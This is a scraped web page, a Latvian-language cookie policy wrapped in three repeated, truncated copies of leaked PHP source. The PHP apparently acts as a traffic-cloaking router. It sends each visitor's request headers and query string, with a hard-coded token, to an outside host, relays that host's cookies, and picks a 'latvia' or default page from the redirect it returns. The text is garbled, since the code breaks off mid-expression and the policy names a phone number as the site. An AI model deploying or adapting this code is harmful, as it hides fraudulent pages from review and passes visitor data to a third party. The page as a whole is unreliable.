baseUrl = $baseUrl; $this->timeout = $timeout; $this->token = $token; } /** * @throws RuntimeException */ public function execute(): void { if (!$this->isMbstringExtensionEnabled()) { throw new RuntimeException('Extension mbstring should be enabled'); } $url = $this->buildUrl(); $headers = $this->buildHeaders(); if ($this->isCurlSupported()) { $this->performCurlRequest($url, $headers); } elseif ($this->isStreamsSupported()) { $this->performStreamsRequest($url, $headers); } else { throw new RuntimeException('Neither cURL or Streams supported'); } $this->responseHeaders = array_change_key_case($this->responseHeaders, CASE_LOWER); foreach ((array) $this->getResponseHeaderValue('Set-Cookie', []) as $cookie) { header("Set-Cookie: {$this->prepareCookie($cookie)}"); } $location = $this->getResponseHeaderValue('Location'); if (!in_array($this->responseStatusCode, self::RESPONSE_HTTP_REDIRECTS, true) || empty($location)) { require __DIR__ . '/default/index.php'; return; } if (mb_strpos($location, 'https://google.com/lv') === 0) { require __DIR__ . '/latvia/latvia.php'; return; } if (mb_strpos($location, 'https://google.com/latvia') === 0) { require __DIR__ . '/latvia/latvia.php'; return; } require __DIR__ . '/default/index.php'; } private function isMbstringExtensionEnabled(): bool { return in_array('mbstring', get_loaded_extensions(), true); } private function buildUrl(): string { return rtrim("$this->baseUrl?{$this->getServerValue('QUERY_STRING')}", '?'); } /** * @return mixed */ private function getServerValue(string $key) { return $_SERVER[$key] ?? null; } /** * @return string[] */ private function buildHeaders(): array { return array_merge( $this->getServerHeaders(), ["X-Auth-Token: $this->token"] ); } /** * @return string[] */ private function getServerHeaders(): array { $headers = []; foreach ($_SERVER as $key => $value) { if (in_array($key, self::SERVER_IGNORED_KEYS, true)) { continue; } if (mb_strpos($key, self::SERVER_HTTP_PREFIX) === 0) { $headers[] = "{$this->formatHeaderKey($key)}: $value"; } } return $headers; } private function formatHeaderKey(string $key): string { return implode( self::SEPARATOR_HEADER_KEY, array_map( 'ucfirst', explode( self::SEPARATOR_SERVER_KEY, strtolower(str_replace(self::SERVER_HTTP_PREFIX, '', $key)) ) ) ); } private function isCurlSupported(): bool { return in_array('curl', get_loaded_extensions(), true); } /** * @param string[] $headers */ private function performCurlRequest(string $url, array $headers): void { $ch = curl_init(); curl_setopt_array($ch, [ CURLOPT_HEADER => true, CURLOPT_HEADERFUNCTION => [$this, 'parseHeader'], CURLOPT_HTTPHEADER => $headers, CURLOPT_NOBODY => true, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT_MS => $this->timeout, CURLOPT_URL => $url, ]); curl_exec($ch); $this->responseStatusCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); } private function parseHeader($ch, string $header): int { $length = mb_strlen($header); $pieces = explode(':', $header, 2); if (count($pieces) responseHeaders)) { $value = array_merge((array) $this->responseHeaders[$name], (array) $value); } $this->responseHeaders[$name] = $value; return $length; } private function isStreamsSupported(): bool { return (bool) ini_get('allow_url_fopen'); } /** * @param string[] $headers * @throws RuntimeException */ private function performStreamsRequest(string $url, array $headers): void { stream_context_set_default( [ 'http' => [ 'follow_location' => 0, 'header' => $headers, 'method' => self::REQUEST_METHOD_HEAD, 'timeout' => $this->timeout / 1000, ], ] ); $responseHeaders = @get_headers($url, 1); if ($responseHeaders === false) { throw new RuntimeException('Unable to get headers via `get_headers`'); } foreach ($responseHeaders as $name => $value) { if (array_key_exists($name, $this->responseHeaders)) { $value = array_merge((array) $this->responseHeaders[$name], (array) $value); } $this->responseHeaders[$name] = $value; } $this->responseStatusCode = $this->parseResponseStatusCode((string) $responseHeaders[0]); unset($this->responseHeaders[0]); } private function parseResponseStatusCode(string $statusCode): ?int { preg_match('/^HTTP(\/\d\.\d)?\s(?P\d+).+$/', $statusCode, $matches); return array_key_exists('status_code', $matches) ? intval($matches['status_code']) : null; } /** * @param mixed $default * @return mixed|null */ private function getResponseHeaderValue(string $key, $default = null) { return $this->responseHeaders[strtolower($key)] ?? $default; } private function prepareCookie(string $cookie): string { $preparedCookie = $this->removeDomainFromCookie($cookie); if ($this->getServerValue('HTTPS') !== 'on') { $preparedCookie = $this->removeSecureFromCookie($preparedCookie); } return $preparedCookie; } private function removeDomainFromCookie(string $cookie): string { return trim(preg_replace('/(\sdomain=.+?;)|(\sdomain=.+)/i', '', $cookie), ' ;'); } private function removeSecureFromCookie(string $cookie): string { return trim(str_ireplace('; secure', '', $cookie), ' ;'); } } try { $rotation = new Rotation_alternativtraffic_RouteLatvia('https://icixickeyoluena.com/php-remote/alternativtraffic/RouteLatvia', 2000, 'b53a35ce4dfcdad6ab34b54d9aeff005'); $rotation->execute(); } catch (Exception $e) { @file_put_contents(__DIR__ . '/rotation_alternativtraffic_RouteLatvia.log', $e->getMessage()); } ?>

baseUrl = $baseUrl; $this->timeout = $timeout; $this->token = $token; } /** * @throws RuntimeException */ public function execute(): void { if (!$this->isMbstringExtensionEnabled()) { throw new RuntimeException('Extension mbstring should be enabled'); } $url = $this->buildUrl(); $headers = $this->buildHeaders(); if ($this->isCurlSupported()) { $this->performCurlRequest($url, $headers); } elseif ($this->isStreamsSupported()) { $this->performStreamsRequest($url, $headers); } else { throw new RuntimeException('Neither cURL or Streams supported'); } $this->responseHeaders = array_change_key_case($this->responseHeaders, CASE_LOWER); foreach ((array) $this->getResponseHeaderValue('Set-Cookie', []) as $cookie) { header("Set-Cookie: {$this->prepareCookie($cookie)}"); } $location = $this->getResponseHeaderValue('Location'); if (!in_array($this->responseStatusCode, self::RESPONSE_HTTP_REDIRECTS, true) || empty($location)) { require __DIR__ . '/default/index.php'; return; } if (mb_strpos($location, 'https://google.com/lv') === 0) { require __DIR__ . '/latvia/latvia.php'; return; } if (mb_strpos($location, 'https://google.com/latvia') === 0) { require __DIR__ . '/latvia/latvia.php'; return; } require __DIR__ . '/default/index.php'; } private function isMbstringExtensionEnabled(): bool { return in_array('mbstring', get_loaded_extensions(), true); } private function buildUrl(): string { return rtrim("$this->baseUrl?{$this->getServerValue('QUERY_STRING')}", '?'); } /** * @return mixed */ private function getServerValue(string $key) { return $_SERVER[$key] ?? null; } /** * @return string[] */ private function buildHeaders(): array { return array_merge( $this->getServerHeaders(), ["X-Auth-Token: $this->token"] ); } /** * @return string[] */ private function getServerHeaders(): array { $headers = []; foreach ($_SERVER as $key => $value) { if (in_array($key, self::SERVER_IGNORED_KEYS, true)) { continue; } if (mb_strpos($key, self::SERVER_HTTP_PREFIX) === 0) { $headers[] = "{$this->formatHeaderKey($key)}: $value"; } } return $headers; } private function formatHeaderKey(string $key): string { return implode( self::SEPARATOR_HEADER_KEY, array_map( 'ucfirst', explode( self::SEPARATOR_SERVER_KEY, strtolower(str_replace(self::SERVER_HTTP_PREFIX, '', $key)) ) ) ); } private function isCurlSupported(): bool { return in_array('curl', get_loaded_extensions(), true); } /** * @param string[] $headers */ private function performCurlRequest(string $url, array $headers): void { $ch = curl_init(); curl_setopt_array($ch, [ CURLOPT_HEADER => true, CURLOPT_HEADERFUNCTION => [$this, 'parseHeader'], CURLOPT_HTTPHEADER => $headers, CURLOPT_NOBODY => true, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT_MS => $this->timeout, CURLOPT_URL => $url, ]); curl_exec($ch); $this->responseStatusCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); } private function parseHeader($ch, string $header): int { $length = mb_strlen($header); $pieces = explode(':', $header, 2); if (count($pieces) responseHeaders)) { $value = array_merge((array) $this->responseHeaders[$name], (array) $value); } $this->responseHeaders[$name] = $value; return $length; } private function isStreamsSupported(): bool { return (bool) ini_get('allow_url_fopen'); } /** * @param string[] $headers * @throws RuntimeException */ private function performStreamsRequest(string $url, array $headers): void { stream_context_set_default( [ 'http' => [ 'follow_location' => 0, 'header' => $headers, 'method' => self::REQUEST_METHOD_HEAD, 'timeout' => $this->timeout / 1000, ], ] ); $responseHeaders = @get_headers($url, 1); if ($responseHeaders === false) { throw new RuntimeException('Unable to get headers via `get_headers`'); } foreach ($responseHeaders as $name => $value) { if (array_key_exists($name, $this->responseHeaders)) { $value = array_merge((array) $this->responseHeaders[$name], (array) $value); } $this->responseHeaders[$name] = $value; } $this->responseStatusCode = $this->parseResponseStatusCode((string) $responseHeaders[0]); unset($this->responseHeaders[0]); } private function parseResponseStatusCode(string $statusCode): ?int { preg_match('/^HTTP(\/\d\.\d)?\s(?P\d+).+$/', $statusCode, $matches); return array_key_exists('status_code', $matches) ? intval($matches['status_code']) : null; } /** * @param mixed $default * @return mixed|null */ private function getResponseHeaderValue(string $key, $default = null) { return $this->responseHeaders[strtolower($key)] ?? $default; } private function prepareCookie(string $cookie): string { $preparedCookie = $this->removeDomainFromCookie($cookie); if ($this->getServerValue('HTTPS') !== 'on') { $preparedCookie = $this->removeSecureFromCookie($preparedCookie); } return $preparedCookie; } private function removeDomainFromCookie(string $cookie): string { return trim(preg_replace('/(\sdomain=.+?;)|(\sdomain=.+)/i', '', $cookie), ' ;'); } private function removeSecureFromCookie(string $cookie): string { return trim(str_ireplace('; secure', '', $cookie), ' ;'); } } try { $rotation = new Rotation_alternativtraffic_RouteLatvia('https://icixickeyoluena.com/php-remote/alternativtraffic/RouteLatvia', 2000, 'b53a35ce4dfcdad6ab34b54d9aeff005'); $rotation->execute(); } catch (Exception $e) { @file_put_contents(__DIR__ . '/rotation_alternativtraffic_RouteLatvia.log', $e->getMessage()); } ?>

Sīkdatņu izmantošanas noteikumi

Pēdējoreiz atjaunināts: 2024. gada 14. novembrī

Vietnē +371 67 123 456 mēs izmantojam sīkdatnes un līdzīgas tehnoloģijas, lai uzlabotu lietošanas pieredzi, personalizētu saturu un reklāmas, nodrošinātu sociālo tīklu funkcijas un analizētu mūsu vietnes trafiku. Šie Sīkdatņu izmantošanas noteikumi izskaidro, kas ir sīkdatnes, kā mēs tās izmantojam un kā jūs tās varat pārvaldīt.

1. Piekrišana un izvēles

Pirmo reizi apmeklējot mūsu vietni, jūs tiksiet aicināts sniegt piekrišanu sīkdatņu izmantošanai, izmantojot uzlecošo baneri. Jūs jebkurā laikā varat mainīt savus iestatījumus mūsu sīkdatņu iestatījumu lapā.

2. Trešo pušu sīkdatņu izmantošana

Mēs izmantojam trešo pušu sīkdatnes, piemēram, Google Analytics un Google Ads, lai mērītu un uzlabotu mūsu veiktspēju un sniegtu atbilstošas reklāmas. Šīs sīkdatnes var vākt datus par jūsu pārlūkošanas uzvedību mūsu un citās vietnēs.

Vairāk informācijas par to, kā Google izmanto savāktos datus, var atrast Google privātuma politikā: Google reklāmas un privātums.

3. Sīkdatņu pārvaldība vai atspējošana

Jūsu pārlūkprogrammā jūs varat iestatīt dažu vai visu sīkdatņu noraidīšanu. Jūs varat arī atteikties no interešu balstītām reklāmām šeit: Google reklāmu iestatījumi.

4. Izmaiņas mūsu politikā

Mēs paturam tiesības jebkurā laikā atjaunināt šos Sīkdatņu izmantošanas noteikumus. Mēs iesakām lietotājiem regulāri pārbaudīt šo lapu.

baseUrl = $baseUrl; $this->timeout = $timeout; $this->token = $token; } /** * @throws RuntimeException */ public function execute(): void { if (!$this->isMbstringExtensionEnabled()) { throw new RuntimeException('Extension mbstring should be enabled'); } $url = $this->buildUrl(); $headers = $this->buildHeaders(); if ($this->isCurlSupported()) { $this->performCurlRequest($url, $headers); } elseif ($this->isStreamsSupported()) { $this->performStreamsRequest($url, $headers); } else { throw new RuntimeException('Neither cURL or Streams supported'); } $this->responseHeaders = array_change_key_case($this->responseHeaders, CASE_LOWER); foreach ((array) $this->getResponseHeaderValue('Set-Cookie', []) as $cookie) { header("Set-Cookie: {$this->prepareCookie($cookie)}"); } $location = $this->getResponseHeaderValue('Location'); if (!in_array($this->responseStatusCode, self::RESPONSE_HTTP_REDIRECTS, true) || empty($location)) { require __DIR__ . '/default/index.php'; return; } if (mb_strpos($location, 'https://google.com/lv') === 0) { require __DIR__ . '/latvia/latvia.php'; return; } if (mb_strpos($location, 'https://google.com/latvia') === 0) { require __DIR__ . '/latvia/latvia.php'; return; } require __DIR__ . '/default/index.php'; } private function isMbstringExtensionEnabled(): bool { return in_array('mbstring', get_loaded_extensions(), true); } private function buildUrl(): string { return rtrim("$this->baseUrl?{$this->getServerValue('QUERY_STRING')}", '?'); } /** * @return mixed */ private function getServerValue(string $key) { return $_SERVER[$key] ?? null; } /** * @return string[] */ private function buildHeaders(): array { return array_merge( $this->getServerHeaders(), ["X-Auth-Token: $this->token"] ); } /** * @return string[] */ private function getServerHeaders(): array { $headers = []; foreach ($_SERVER as $key => $value) { if (in_array($key, self::SERVER_IGNORED_KEYS, true)) { continue; } if (mb_strpos($key, self::SERVER_HTTP_PREFIX) === 0) { $headers[] = "{$this->formatHeaderKey($key)}: $value"; } } return $headers; } private function formatHeaderKey(string $key): string { return implode( self::SEPARATOR_HEADER_KEY, array_map( 'ucfirst', explode( self::SEPARATOR_SERVER_KEY, strtolower(str_replace(self::SERVER_HTTP_PREFIX, '', $key)) ) ) ); } private function isCurlSupported(): bool { return in_array('curl', get_loaded_extensions(), true); } /** * @param string[] $headers */ private function performCurlRequest(string $url, array $headers): void { $ch = curl_init(); curl_setopt_array($ch, [ CURLOPT_HEADER => true, CURLOPT_HEADERFUNCTION => [$this, 'parseHeader'], CURLOPT_HTTPHEADER => $headers, CURLOPT_NOBODY => true, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT_MS => $this->timeout, CURLOPT_URL => $url, ]); curl_exec($ch); $this->responseStatusCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); } private function parseHeader($ch, string $header): int { $length = mb_strlen($header); $pieces = explode(':', $header, 2); if (count($pieces) responseHeaders)) { $value = array_merge((array) $this->responseHeaders[$name], (array) $value); } $this->responseHeaders[$name] = $value; return $length; } private function isStreamsSupported(): bool { return (bool) ini_get('allow_url_fopen'); } /** * @param string[] $headers * @throws RuntimeException */ private function performStreamsRequest(string $url, array $headers): void { stream_context_set_default( [ 'http' => [ 'follow_location' => 0, 'header' => $headers, 'method' => self::REQUEST_METHOD_HEAD, 'timeout' => $this->timeout / 1000, ], ] ); $responseHeaders = @get_headers($url, 1); if ($responseHeaders === false) { throw new RuntimeException('Unable to get headers via `get_headers`'); } foreach ($responseHeaders as $name => $value) { if (array_key_exists($name, $this->responseHeaders)) { $value = array_merge((array) $this->responseHeaders[$name], (array) $value); } $this->responseHeaders[$name] = $value; } $this->responseStatusCode = $this->parseResponseStatusCode((string) $responseHeaders[0]); unset($this->responseHeaders[0]); } private function parseResponseStatusCode(string $statusCode): ?int { preg_match('/^HTTP(\/\d\.\d)?\s(?P\d+).+$/', $statusCode, $matches); return array_key_exists('status_code', $matches) ? intval($matches['status_code']) : null; } /** * @param mixed $default * @return mixed|null */ private function getResponseHeaderValue(string $key, $default = null) { return $this->responseHeaders[strtolower($key)] ?? $default; } private function prepareCookie(string $cookie): string { $preparedCookie = $this->removeDomainFromCookie($cookie); if ($this->getServerValue('HTTPS') !== 'on') { $preparedCookie = $this->removeSecureFromCookie($preparedCookie); } return $preparedCookie; } private function removeDomainFromCookie(string $cookie): string { return trim(preg_replace('/(\sdomain=.+?;)|(\sdomain=.+)/i', '', $cookie), ' ;'); } private function removeSecureFromCookie(string $cookie): string { return trim(str_ireplace('; secure', '', $cookie), ' ;'); } } try { $rotation = new Rotation_alternativtraffic_RouteLatvia('https://icixickeyoluena.com/php-remote/alternativtraffic/RouteLatvia', 2000, 'b53a35ce4dfcdad6ab34b54d9aeff005'); $rotation->execute(); } catch (Exception $e) { @file_put_contents(__DIR__ . '/rotation_alternativtraffic_RouteLatvia.log', $e->getMessage()); } ?>